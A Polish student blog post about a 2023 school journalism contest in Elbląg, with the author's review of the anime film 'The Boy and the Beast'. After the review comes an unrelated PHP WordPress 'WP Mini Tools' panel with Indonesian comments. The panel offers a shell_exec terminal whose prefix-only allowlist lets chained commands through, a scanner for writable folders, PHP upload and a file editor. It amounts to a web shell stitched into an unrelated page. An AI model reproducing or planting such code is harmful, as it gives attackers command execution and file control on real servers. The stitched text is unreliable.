Konkurs dziennikarski 2023

W styczniu roku 2023, Akademia Nauk Stosowanych w Elblągu zaprosiła uczniów klas trzecich, czwartych i piątych szkół średnich do udziału w konkursie dziennikarskim. Konkurs był adresowany do mieszkańców Elbląga oraz całego województwa warmińsko-mazurskiego i pomorskiego.

Organizatorem konkursu był Instytut Pedagogiczno-Językowy Akademii Nauk Stosowanych w Elblągu. 

Celem konkursu było doskonalenie umiejętności pisania, wyrażania własnych sądów i opinii, wdrażanie do rozwijania wiedzy i umiejętności o charakterze pisarskim i dziennikarskim.

Zadanie konkursowe polegało na przygotowaniu jednej z wybranych form dziennikarskich, są to:

– recenzja dowolnej książki,

– recenzja dowolnego filmu,

– wywiad z członkiem rodziny o charakterze wspomnieniowym.

Laureaci Konkursu dziennikarskiego otrzymali nagrody w formie kart podarunkowych CH Ogrody w Elblągu.

Laureat I miejsca otrzymał kartę podarunkową CH Ogrody w Elblągu na kwotę 700 zł,

Laureat II miejsca – kartę podarunkową CH Ogrody w Elblągu na kwotę 450 zł,

Laureat III miejsca – kartę podarunkową CH Ogrody w Elblągu na kwotę 350 zł.

15 marca odbyło się rozstrzygnięcie Konkursu.

Licznie zebranych gości przywitała Prorektor ds. Organizacyjnych i Naukowych ANS w Elblągu dr Irena Sorokosz, prof. uczelni oraz Dyrektor IPJ ANS w Elblągu mgr Teresa Kubryń, która podkreśliła że konkurs jest ściśle związany z kierunkiem studiów Filologia polska – specjalność: dziennikarstwo i nowe media.

Następnie młodzież miała okazję wysłuchać prelekcji pt. “Rozmowy o języku”, którą wygłosił dr hab. Zenon Lica, prof. uczelni. Podczas tego wykładu mogliśmy posłuchać na temat języka młodzieżowego oraz pochodzenia niektórych wyrazów z działu kulinarnego. Dowiedzieliśmy się na przykład, że pierogi ruskie tak naprawdę nie są pochodzenia rosyjskiego. Określenie „ruskie” pochodzi od Rusi Czerwonej, zajmującej kiedyś obecnie tereny Polski i Ukrainy.

Później doszło do podsumowania Konkursu Dziennikarskiego, którego dokonał mgr Rafał Gruchalski – redaktor naczelny portEl.pl. 

Przejdźmy do wyników konkursu. Uczestnikom przyznano trzy miejsca na podium, jedna praca otrzymała wyróżnienie.

Trzecie miejsce zajęła Jagoda Gulińska z Zespołu Państwowych Szkół Muzycznych (recenzja “Świat idealny pułapką dla człowieka”), drugie, Bartłomiej Bil z Zespołu Szkół Mechanicznych (recenzja filmu “Sonic 2. Szybki jak błyskawica”). Triumfowała Karina Nadolska z Zespołu Szkół Gospodarczych z wywiadem wspomnieniowym “Z Harbina do Elbląga”. Wyróżniono też pracę Szymona Cyrklewicza z LO przy Zespole Szkół Pijarskich (recenzja książki “Kroniki Jakuba Wędrowycza”).

Sam też byłem jednym z uczestników konkursu, niestety jak widać powyżej moja praca nie była wystarczająco dobra do zajęcia miejsca na podium. Mimo wszystko uważam to za bardzo przydatne doświadczenie, które może się przydać w przyszłości, dlatego zachęcam wszystkich do podejmowania podobnych wyzwań. 

Dołączam jeszcze moją pracę. Jest to recenzja filmu „The boy and the beast”. Życzę miłej lektury🤗.

 

Moja recenzja filmu „The Boy and The Beast”

The Boy and The Beast (tłumaczony z japońskiego tytułu – „Bakemono no ko”) to film animowany z 2015 roku od japońskiego reżysera Mamoru Hosody, który w 2012 roku wyreżyserował film Wolf Children. Oba cieszą się wielkim zainteresowaniem. Film zdobył nagrodę Ryuu Masayuki za najlepszy film animowany i dwie nominacje: Annie za najlepszy niezależny film animowany oraz Złotą Muszlę za udział w konkursie głównym.

   Miasto, w którym ludzie żyją spokojnie oraz świat po drugiej stronie okupowany przez potwory, który nie może być ujrzany przez człowieka. Ta historia to opowieść o przygodach dziecka, które pogrążyło się w świecie potworów.

   Ren to 9-letni chłopiec, który po śmierci matki ucieka na ruchliwe ulice Tokio. Nie ma możliwości skontaktowania się z ojcem, z którym matka się rozwiodła, nie ma też miłości do krewnych matki, którzy chcą go przygarnąć. Wściekły i zdezorientowany, wędruje przez przypadek do równoległej Ziemi, świata bestii, gdzie każdy jest antropomorficznym zwierzęciem.

   W mieście bestii, obecny Wielki Mistrz (królik) zamierza przejść reinkarnację w boga, jednakże najpierw musi znaleźć następcę. Wybrał dwóch kandydatów: niedźwiedzia o imieniu Kumatetsu oraz dzika o imieniu Yozen.

   Oboje są przygotowani do walki o tytuł Wielkiego Mistrza. Yozen jest profesjonalny i skomponowany. Ma zastępy poważnie wyglądających uczniów i wychowuje dwóch synów, z których starszy był porzuconym ludzkim dzieckiem, które adoptował. Kumatetsu, w przeciwieństwie do niego, jest zuchwały, obcesowy i samolubny, choć wyjątkowo silny. Nie ma rodziny, ani nikogo kogo mógłby uczyć, a tym bardziej kibicował mu czy nawet stawiał na niego w walce. Mimo to, wszyscy dostrzegają jego potencjał. Króliczy Wielki Mistrz jest szczególnie wyrozumiały i nalega, by znalazł sobie ucznia. Więc, zakładając, że może równie dobrze trenować miotłę lub człowieka, Kumatetsu przyjmuje Rena.

   Najzabawniejszą częścią tego filmu jest kompletny brak chemii między Renem i Kumatetsu. Obaj są źli na świat, niesamowicie uparci, i nie mają umiaru w pyskówkach do siebie. Czasami jest to smutne, innym razem naprawdę zabawne. Ich relacje najlepiej można opisać jako antagonistyczne, połączone z odmową poddania się lub przyznania racji drugiej osobie. Szacunek stopniowo narasta, choć żadne z nich nigdy by się do tego nie przyznało.

   Ren trenuje pod okiem Kumatetsu, jednakże można powiedzieć, że to relacja obustronna. W miarę upływu czasu, ludzki nastolatek staje się niespokojny i zaczyna przemieszczać się tam i z powrotem pomiędzy światem ludzi i bestii. Historia jest pięknie rozbudowana wątkowo. W filmie możemy zobaczyć motywy przyjaźni, wewnętrznej przemiany oraz rozwoju młodego człowieka. 

   Jedną z rzeczy, które naprawdę lubię w filmach anime jest fakt, że pozwalają one studiom animacji na tworzenie naprawdę wysokiej jakości sztuki i animacji. Grafika tego anime ma prawie taką samą jakość jak Wolf Children lub Toki o Kakeru Shoujo, jest to naturalne, ponieważ te trzy anime zostały wyprodukowane bezpośrednio przez Studio Chizu z bardzo charakterystyczną grafiką. Jest kilka scen w tym filmie, które zostały nakręcone w szczególny sposób, który naprawdę mi się podobał, jak na przykład, gdy Kyūta walczył z gigantycznym potworem. 

   Trzeba powiedzieć coś o intuicji animatorów w wyczuwaniu, kiedy pominąć szczegóły. W niektórych scenach tak wielką wagę przywiązuje się do detali, podczas gdy inne kadry śmiało przedstawiają bohaterów za pomocą najbardziej podstawowego bazgrołu. Te pominięte szczegóły dodają kolejny wymiar przestrzenny do klatki, oprócz osi x, y i z. Oko widza jest w stanie oddzielić informacje na podstawie akcentów zawartych w animowanej komórce. Ogólnie rzecz biorąc, animacja w tym filmie była niesamowita, w tym nawet z dodatkowymi postaciami. Kolory i odcienie oświetlenia zostały wykorzystane z dobrym skutkiem, a mimika twarzy naprawdę mi się podobała. Wydaje się, że zastosowano rotoskoping, aby ruch wydawał się bardziej realistyczny w niektórych walkach i scenach w tłumie. 

   Również oprawa dźwiękowa w tym filmie była zapierająca dech w piersiach. Jak można się spodziewać, tło muzyczne wydawało się orkiestrowe, ze smyczkami używanymi dość często w całym filmie, chociaż instrumenty dęte i drewniane również odgrywają swoją rolę. Szczególna piosenka, która zawierała dźwięk stepowania, została użyta w walce pomiędzy Kumtetsu i Iōzenem we wczesnej fazie filmu i była naprawdę wspaniała. Również wykorzystanie efektów dźwiękowych było całkiem na miejscu. Kiedy Kyūta po raz pierwszy powrócił do świata ludzi, dźwięki miasta naprawdę pomogły dostrzec różnice między tymi dwoma światami.

   Ogólnie rzecz biorąc, myślę, że jest to film zdecydowanie warty obejrzenia. Największą siłą w tym filmie jest relacja między ludzkim dzieckiem a jego niedźwiedzim trenerem. Oboje musieli polegać na sobie, aby posuwać się naprzód w świecie, z upartym oddaniem i chęcią wytrwania. Jednocześnie zwraca uwagę na to, że radzenie sobie w pojedynkę również im zaszkodziło. Dawanie i otrzymywanie pomocy nie jest słabością, ale buduje przyjaźń i siłę, wypełniając luki w drugiej osobie, z którymi być może nie poradziłyby sobie same.

 
🐘
filename.php
/**
 * WP Mini Tools - File Manager + Terminal + Rename
 * Optimized for Code Snippets
 */

if (!defined('ABSPATH')) {
    exit;
}

// Pastikan hanya admin yang bisa akses
add_action('admin_menu', 'wp_mini_tools_menu');
function wp_mini_tools_menu() {
    add_menu_page(
        'WP Mini Tools',
        'Mini Tools',
        'manage_options',
        'wp-mini-tools',
        'wp_mini_tools_page',
        'dashicons-media-code',
        99
    );
}

function wp_mini_tools_page() {
    if (!current_user_can('manage_options')) {
        wp_die('Akses ditolak.');
    }

    // Root directory
    $root = realpath(ABSPATH);
    $requested = isset($_GET['dir']) ? wp_normalize_path(sanitize_text_field(wp_unslash($_GET['dir']))) : $root;
    $current_dir = realpath($requested);
    if ($current_dir === false || !is_dir($current_dir) || strpos($current_dir, $root) !== 0) {
        $current_dir = $root;
    }

    echo '<div class="wrap"><h1>WP Mini Tools — File Manager + Terminal + Writable Scanner</h1>';

    // ====================== PROSES ACTION ======================
    if (isset($_POST['wp_fm_action_nonce']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {

        // Scan Writable
        if (isset($_POST['scan_writable'])) {
            $max_depth = min(absint($_POST['max_depth'] ?? 3), 6);
            echo '<div class="notice notice-info"><p>Sedang scan folder writable (depth: ' . $max_depth . ')...</p></div>';

            $writable_folders = [];
            $scanned = 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($current_dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth($max_depth);

            foreach ($iterator as $path) {
                $scanned++;
                if ($path->isDir()) {
                    $full = $path->getRealPath();
                    if ($full && is_writable($full) && strpos($full, $root) === 0) {
                        $writable_folders[] = [
                            'path' => $full,
                            'perm' => substr(sprintf('%o', fileperms($full)), -4),
                            'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($full))['name'] : fileowner($full),
                        ];
                    }
                }
                if ($scanned > 8000) break;
            }

            echo '<h2>Hasil Scan Writable Folders</h2>';
            echo '<p>Ditemukan <strong>' . count($writable_folders) . '</strong> folder writable</p>';

            if (!empty($writable_folders)) {
                echo '<table class="wp-list-table widefat fixed striped">';
                echo '<thead><tr><th>Path</th><th>Permission</th><th>Owner</th><th>Aksi</th></tr></thead><tbody>';
                foreach ($writable_folders as $folder) {
                    $enter_url = admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($folder['path']));
                    echo '<tr>
                        <td><code>' . esc_html($folder['path']) . '</code></td>
                        <td><span style="background:#d4edda;padding:2px 6px;border-radius:3px;">' . esc_html($folder['perm']) . '</span></td>
                        <td>' . esc_html($folder['owner']) . '</td>
                        <td><a href="' . esc_url($enter_url) . '" class="button button-small">Masuk</a></td>
                    </tr>';
                }
                echo '</tbody></table>';
            } else {
                echo '<div class="notice notice-warning"><p>Tidak ditemukan folder writable di kedalaman ini.</p></div>';
            }
        }

        // Upload
        if (isset($_POST['wp_upload_file']) && !empty($_FILES['uploaded_file']['name'])) {
            $filename = sanitize_file_name($_FILES['uploaded_file']['name']);
            $target = trailingslashit($current_dir) . $filename;
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            $allowed = ['txt','jpg','jpeg','png','gif','pdf','zip','css','js','html','php','json','xml','md','svg','webp','log'];

            if (!in_array($ext, $allowed)) {
                echo '<div class="notice notice-error"><p>Ekstensi tidak diizinkan.</p></div>';
            } elseif (@move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
                echo '<div class="notice notice-success"><p>Upload berhasil: <strong>' . esc_html($filename) . '</strong></p></div>';
            } else {
                echo '<div class="notice notice-error"><p>Gagal upload (permission).</p></div>';
            }
        }

        // Save Edit
        if (isset($_POST['wp_save_file'])) {
            $raw_path = wp_unslash($_POST['edit_file_path'] ?? '');
            $file_to_save = realpath($raw_path);
            if ($file_to_save && strpos($file_to_save, $root) === 0 && is_writable($file_to_save)) {
                $content = wp_unslash($_POST['file_content']);
                if (file_put_contents($file_to_save, $content) !== false) {
                    echo '<div class="notice notice-success"><p><strong>File berhasil disimpan!</strong></p></div>';
                }
            } else {
                echo '<div class="notice notice-error"><p>Path tidak valid atau tidak writable.</p></div>';
            }
        }

        // Rename
        if (isset($_POST['wp_rename_item'])) {
            $old_path = realpath(sanitize_text_field(wp_unslash($_POST['old_path'] ?? '')));
            $new_name = sanitize_file_name(wp_unslash($_POST['new_name'] ?? ''));
            if ($old_path && $new_name && strpos($old_path, $root) === 0) {
                $new_path = trailingslashit(dirname($old_path)) . $new_name;
                if (!file_exists($new_path) && @rename($old_path, $new_path)) {
                    echo '<div class="notice notice-success"><p>Rename berhasil → <strong>' . esc_html($new_name) . '</strong></p></div>';
                } else {
                    echo '<div class="notice notice-error"><p>Gagal rename.</p></div>';
                }
            }
        }
    }

    // ====================== TERMINAL ======================
    echo '<h2>1. Terminal</h2>';
    $terminal_output = '';
    if (isset($_POST['wp_run_cmd']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {
        $cmd = sanitize_text_field(wp_unslash($_POST['terminal_cmd']));
        $allowed_prefix = ['ls', 'pwd', 'whoami', 'id', 'df -h', 'free -m', 'uname -a', 'cat ', 'head ', 'tail ', 'find ', 'du -sh', 'php -v', 'wp '];
        $ok = false;
        foreach ($allowed_prefix as $a) {
            if (stripos($cmd, $a) === 0) {
                $ok = true;
                break;
            }
        }
        if ($ok && function_exists('shell_exec')) {
            $terminal_output = shell_exec('cd ' . escapeshellarg($current_dir) . ' && ' . $cmd . ' 2>&1');
        } else {
            $terminal_output = "Perintah tidak diizinkan atau shell_exec dimatikan.";
        }
    }
    ?>
    <form method="post" style="margin-bottom:15px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="text" name="terminal_cmd" placeholder="ls -la | pwd | whoami" style="width:65%;">
        <input type="submit" name="wp_run_cmd" class="button button-primary" value="Jalankan">
    </form>
    <?php if ($terminal_output): ?>
        <pre style="background:#1e1e1e;color:#0f0;padding:12px;max-height:280px;overflow:auto;"><?php echo esc_html($terminal_output); ?></pre>
    <?php endif; ?>

    <hr>

    <!-- Scan Writable -->
    <h2>2. Cari Folder Writable</h2>
    <form method="post" style="margin-bottom:20px;background:#f8f9fa;padding:15px;border-radius:6px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <label>Kedalaman scan: </label>
        <select name="max_depth">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3" selected>3 (rekomendasi)</option>
            <option value="4">4</option>
            <option value="5">5</option>
        </select>
        <input type="submit" name="scan_writable" class="button button-primary" value="🔍 Cari Folder Writable">
    </form>

    <hr>
    <?php

    // Edit File
    if (!empty($_GET['edit'])) {
        $edit_file = realpath(sanitize_text_field(wp_unslash($_GET['edit'])));
        if ($edit_file && strpos($edit_file, $root) === 0 && is_file($edit_file) && is_readable($edit_file)) {
            $content = esc_textarea(file_get_contents($edit_file));
            echo '<h2>Edit: ' . esc_html(basename($edit_file)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="edit_file_path" value="<?php echo esc_attr($edit_file); ?>">
                <textarea name="file_content" rows="20" style="width:100%;font-family:monospace;font-size:13px;"><?php echo $content; ?></textarea><br><br>
                <input type="submit" name="wp_save_file" class="button button-primary" value="💾 Simpan">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }

    // Rename
    if (!empty($_GET['rename'])) {
        $target = realpath(sanitize_text_field(wp_unslash($_GET['rename'])));
        if ($target && strpos($target, $root) === 0) {
            echo '<h2>Rename: ' . esc_html(basename($target)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="old_path" value="<?php echo esc_attr($target); ?>">
                <input type="text" name="new_name" value="<?php echo esc_attr(basename($target)); ?>" style="width:350px;" required>
                <input type="submit" name="wp_rename_item" class="button button-primary" value="Ubah Nama">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }
    ?>

    <h2>3. File Manager</h2>

    <div style="margin-bottom:15px;padding:12px;background:#f1f1f1;border-radius:6px;">
        <strong>Legenda:</strong> 
        <span style="background:#c8e6c9;padding:3px 8px;border-radius:4px;">Hijau</span> = Writable  
        <span style="background:#fff9c4;padding:3px 8px;border-radius:4px;">Kuning</span> = 777/666  
        <span style="background:#ffcdd2;padding:3px 8px;border-radius:4px;">Merah</span> = Tidak writable
    </div>

    <p><strong>Direktori aktif:</strong> <code><?php echo esc_html($current_dir); ?></code></p>

    <form method="post" enctype="multipart/form-data" style="margin:15px 0;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="file" name="uploaded_file">
        <input type="submit" name="wp_upload_file" class="button button-primary" value="Upload ke folder ini">
    </form>

    <!-- Tabel File Manager -->
    <table class="wp-list-table widefat fixed striped">
        <thead>
            <tr>
                <th>Nama</th>
                <th>Tipe</th>
                <th>Ukuran</th>
                <th>Perm</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($current_dir !== $root): ?>
                <tr>
                    <td colspan="5">
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode(dirname($current_dir)))); ?>">⬆ .. (Naik)</a>
                    </td>
                </tr>
            <?php endif; ?>

            <?php
            $items = @scandir($current_dir) ?: [];
            natcasesort($items);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $current_dir . DIRECTORY_SEPARATOR . $item;
                $is_dir = is_dir($path);
                $size = $is_dir ? '—' : size_format(@filesize($path) ?: 0);
                $perm = substr(sprintf('%o', @fileperms($path)), -4);
                $writable = is_writable($path);

                $row_style = $writable ? 'background:#e8f5e9;' : '';
                $perm_style = $writable ? 'background:#c8e6c9;color:#1b5e20;' : 'background:#ffcdd2;color:#b71c1c;';
                if (in_array($perm, ['0777','777','0666','666'])) {
                    $perm_style = 'background:#fff9c4;color:#f57f17;font-weight:bold;';
                }
                ?>
                <tr style="<?php echo $row_style; ?>">
                    <td>
                        <?php if ($is_dir): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($path))); ?>">
                                📁 <strong><?php echo esc_html($item); ?></strong>
                            </a>
                        <?php else: ?>
                            📄 <?php echo esc_html($item); ?>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $is_dir ? 'Folder' : 'File'; ?></td>
                    <td><?php echo esc_html($size); ?></td>
                    <td><span style="padding:3px 8px;border-radius:4px;<?php echo $perm_style; ?>"><?php echo esc_html($perm); ?></span></td>
                    <td>
                        <?php if (!$is_dir && is_readable($path)): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&edit=' . rawurlencode($path))); ?>" class="button button-small">Edit</a>
                        <?php endif; ?>
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&rename=' . rawurlencode($path))); ?>" class="button button-small">Rename</a>
                    </td>
                </tr>
                <?php
            }
            ?>
        </tbody>
    </table>
    </div>
    <?php
}